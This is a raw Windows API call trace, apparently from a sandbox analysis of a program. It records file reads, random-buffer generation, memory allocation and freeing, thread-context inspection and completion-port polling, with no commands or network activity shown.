	[0242.203] GetFileInformationByHandleEx (in: hFile=0x120, FileInformationClass=0x9, lpFileInformation=0xc0004d1c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0004d1c28) returned 1
	[0242.203] VirtualAlloc (lpAddress=0xc000500000, dwSize=0x188000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000500000
	[0242.211] ReadFile (in: hFile=0x120, lpBuffer=0xc000500000, nNumberOfBytesToRead=0x186d84, lpNumberOfBytesRead=0xc0004d1b04, lpOverlapped=0x0 | out: lpBuffer=0xc000500000*, lpNumberOfBytesRead=0xc0004d1b04*=0x186b84, lpOverlapped=0x0) returned 1
	[0242.324] ReadFile (in: hFile=0x120, lpBuffer=0xc000686b84, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0004d1b04, lpOverlapped=0x0 | out: lpBuffer=0xc000686b84*, lpNumberOfBytesRead=0xc0004d1b04*=0x0, lpOverlapped=0x0) returned 1
	[0242.324] CloseHandle (hObject=0x120) returned 1
	[0242.324] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0003f4540 | out: pbBuffer=0xc0003f4540) returned 1
	[0242.324] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc000094590 | out: pbBuffer=0xc000094590) returned 1
	[0242.324] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000082b01 | out: pbBuffer=0xc000082b01) returned 1
	[0242.331] VirtualAlloc (lpAddress=0xc000800000, dwSize=0x400000, flAllocationType=0x2000, flProtect=0x4) returned 0xc000800000
	[0242.355] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ebd10000
	[0242.355] VirtualFree (lpAddress=0xc000380000, dwSize=0x26000, dwFreeType=0x4000) returned 1
	[0242.357] VirtualFree (lpAddress=0xc00036c000, dwSize=0xa000, dwFreeType=0x4000) returned 1
	[0242.359] VirtualFree (lpAddress=0xc000368000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0242.359] VirtualFree (lpAddress=0xc000352000, dwSize=0x14000, dwFreeType=0x4000) returned 1
	[0242.360] VirtualFree (lpAddress=0xc000348000, dwSize=0x8000, dwFreeType=0x4000) returned 1
	[0242.361] VirtualFree (lpAddress=0xc000332000, dwSize=0x14000, dwFreeType=0x4000) returned 1
	[0242.362] VirtualFree (lpAddress=0xc00032e000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0242.363] VirtualFree (lpAddress=0xc000324000, dwSize=0x8000, dwFreeType=0x4000) returned 1
	[0242.363] VirtualFree (lpAddress=0xc0002ce000, dwSize=0x54000, dwFreeType=0x4000) returned 1
	[0242.368] VirtualFree (lpAddress=0xc0002b8000, dwSize=0x14000, dwFreeType=0x4000) returned 1
	[0242.369] VirtualFree (lpAddress=0xc0002aa000, dwSize=0xa000, dwFreeType=0x4000) returned 1
	[0242.369] VirtualFree (lpAddress=0xc0002a2000, dwSize=0x4000, dwFreeType=0x4000) returned 1
	[0242.370] VirtualFree (lpAddress=0xc00029c000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0242.370] VirtualFree (lpAddress=0xc00028e000, dwSize=0xc000, dwFreeType=0x4000) returned 1
	[0242.371] VirtualFree (lpAddress=0xc000284000, dwSize=0x8000, dwFreeType=0x4000) returned 1
	[0242.372] VirtualAlloc (lpAddress=0xc000688000, dwSize=0x188000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0242.372] VirtualAlloc (lpAddress=0xc000688000, dwSize=0x188000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0242.372] VirtualAlloc (lpAddress=0xc000688000, dwSize=0xc4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000688000
	[0242.378] VirtualAlloc (lpAddress=0xc00074c000, dwSize=0xc4000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0242.378] VirtualAlloc (lpAddress=0xc00074c000, dwSize=0x62000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00074c000
	[0242.380] VirtualAlloc (lpAddress=0xc0007ae000, dwSize=0x62000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0242.381] VirtualAlloc (lpAddress=0xc0007ae000, dwSize=0x31000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0007ae000
	[0242.382] VirtualAlloc (lpAddress=0xc0007df000, dwSize=0x31000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0242.382] VirtualAlloc (lpAddress=0xc0007df000, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0007df000
	[0242.383] VirtualAlloc (lpAddress=0xc0007f7000, dwSize=0x19000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0242.383] VirtualAlloc (lpAddress=0xc0007f7000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0242.383] VirtualAlloc (lpAddress=0xc0007f7000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0007f7000
	[0242.383] VirtualAlloc (lpAddress=0xc0007fd000, dwSize=0x13000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0242.384] VirtualAlloc (lpAddress=0xc0007fd000, dwSize=0x9000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0242.384] VirtualAlloc (lpAddress=0xc0007fd000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0242.384] VirtualAlloc (lpAddress=0xc0007fd000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0007fd000
	[0242.384] VirtualAlloc (lpAddress=0xc0007ff000, dwSize=0x11000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0242.384] VirtualAlloc (lpAddress=0xc0007ff000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0242.384] VirtualAlloc (lpAddress=0xc0007ff000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0242.385] VirtualAlloc (lpAddress=0xc0007ff000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0242.385] VirtualAlloc (lpAddress=0xc0007ff000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0007ff000
	[0242.386] VirtualAlloc (lpAddress=0xc000800000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000800000
	[0242.389] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff468, ulCount=0x10, ulNumEntriesRemoved=0x70705ff440, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff468, ulNumEntriesRemoved=0x70705ff440) returned 0
	[0242.390] SetEvent (hEvent=0x1a0) returned 1
	[0242.481] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0242.550] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0242.570] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70705ff6f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70705ff6f8*=0x120) returned 1
	[0242.570] SwitchToThread () returned 1
	[0242.593] SuspendThread (hThread=0x120) returned 0x0
	[0242.593] GetThreadContext (in: hThread=0x120, lpContext=0x70705ff710 | out: lpContext=0x70705ff710*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x70703ff6b8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d5424, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0242.618] SetEvent (hEvent=0x124) returned 1
	[0242.619] ResumeThread (hThread=0x120) returned 0x1
	[0242.619] CloseHandle (hObject=0x120) returned 1
	[0242.619] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff470, ulCount=0x10, ulNumEntriesRemoved=0x70705ff448, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff470, ulNumEntriesRemoved=0x70705ff448) returned 0
	[0242.620] SetEvent (hEvent=0xfc) returned 1
	[0242.628] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70705ffbe8*=0xf0, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0242.637] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0242.642] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x192ebd50000
	[0242.643] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0242.738] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0242.834] VirtualFree (lpAddress=0xc000682000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0242.835] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0242.926] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0242.951] SetEvent (hEvent=0x1a0) returned 1
	[0242.951] VirtualFree (lpAddress=0xc00067c000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0242.951] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0242.970] SetEvent (hEvent=0x188) returned 1
	[0242.970] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0243.072] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x10, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0243.119] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x58, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0243.213] SetEvent (hEvent=0x17c) returned 1
	[0243.213] VirtualFree (lpAddress=0xc000674000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0243.213] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x96, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 1
	[0243.314] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x53, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0243.416] VirtualFree (lpAddress=0xc00080c000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0243.416] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x57, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0243.518] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x5d, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0243.614] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0243.616] SetEvent (hEvent=0xd4) returned 1
	[0243.616] SetEvent (hEvent=0x1a0) returned 1
	[0243.616] VirtualFree (lpAddress=0xc000808000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0243.617] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0243.636] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x3f, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0243.713] SetEvent (hEvent=0x1a0) returned 1
	[0243.713] SetEvent (hEvent=0xd4) returned 1
	[0243.713] VirtualFree (lpAddress=0xc000804000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0243.713] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x67, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0243.824] SetEvent (hEvent=0xd4) returned 1
	[0243.824] SetEvent (hEvent=0x1a0) returned 1
	[0243.824] VirtualFree (lpAddress=0xc000802000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0243.825] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0243.830] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x52, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0243.925] SetEvent (hEvent=0x1a0) returned 1
	[0243.925] VirtualFree (lpAddress=0xc0007fe000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0243.926] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0243.940] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x48, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0244.028] SetEvent (hEvent=0xd4) returned 1
	[0244.028] SetEvent (hEvent=0x1a0) returned 1
	[0244.028] VirtualFree (lpAddress=0xc0007fa000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0244.029] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x2, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0244.039] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x3d, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0244.114] SetEvent (hEvent=0x190) returned 1
	[0244.114] SetEvent (hEvent=0x1a0) returned 1
	[0244.114] VirtualFree (lpAddress=0xc0007f6000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0244.115] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0244.118] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0244.123] VirtualFree (lpAddress=0xc0007ee000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0244.123] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0244.131] SetEvent (hEvent=0xd4) returned 1
	[0244.131] VirtualFree (lpAddress=0xc0007ec000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0244.131] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0244.136] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0244.187] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0244.219] SetEvent (hEvent=0xd4) returned 1
	[0244.219] VirtualFree (lpAddress=0xc0007e4000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0244.220] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x2, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0244.234] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x34, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0244.291] SetEvent (hEvent=0xd4) returned 1
	[0244.291] SetEvent (hEvent=0x1a0) returned 1
	[0244.291] VirtualFree (lpAddress=0xc0007e0000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0244.292] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x2, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0244.320] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0244.323] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0244.379] VirtualFree (lpAddress=0xc0007dc000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0244.380] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x1b, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0244.424] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0244.487] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0244.565] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0244.573] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x4c, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0244.652] SetEvent (hEvent=0x190) returned 1
	[0244.652] SetEvent (hEvent=0x17c) returned 1
	[0244.653] VirtualFree (lpAddress=0xc0007ce000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0244.653] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x2, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0244.664] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0244.675] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x2a, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0244.721] SetEvent (hEvent=0x17c) returned 1
	[0244.721] SetEvent (hEvent=0xe4) returned 1
	[0244.722] VirtualFree (lpAddress=0xc0007c8000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0244.722] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x2, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0244.729] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x57, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0244.849] VirtualFree (lpAddress=0xc0007c2000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0244.850] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x38, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
	[0244.913] SetEvent (hEvent=0x190) returned 1
	[0244.913] VirtualFree (lpAddress=0xc0007c0000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0244.913] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70705ff370, ulCount=0x10, ulNumEntriesRemoved=0x70705ff348, dwMilliseconds=0x2, fAlertable=0 | out: lpCompletionPortEntries=0x70705ff370, ulNumEntriesRemoved=0x70705ff348) returned 0
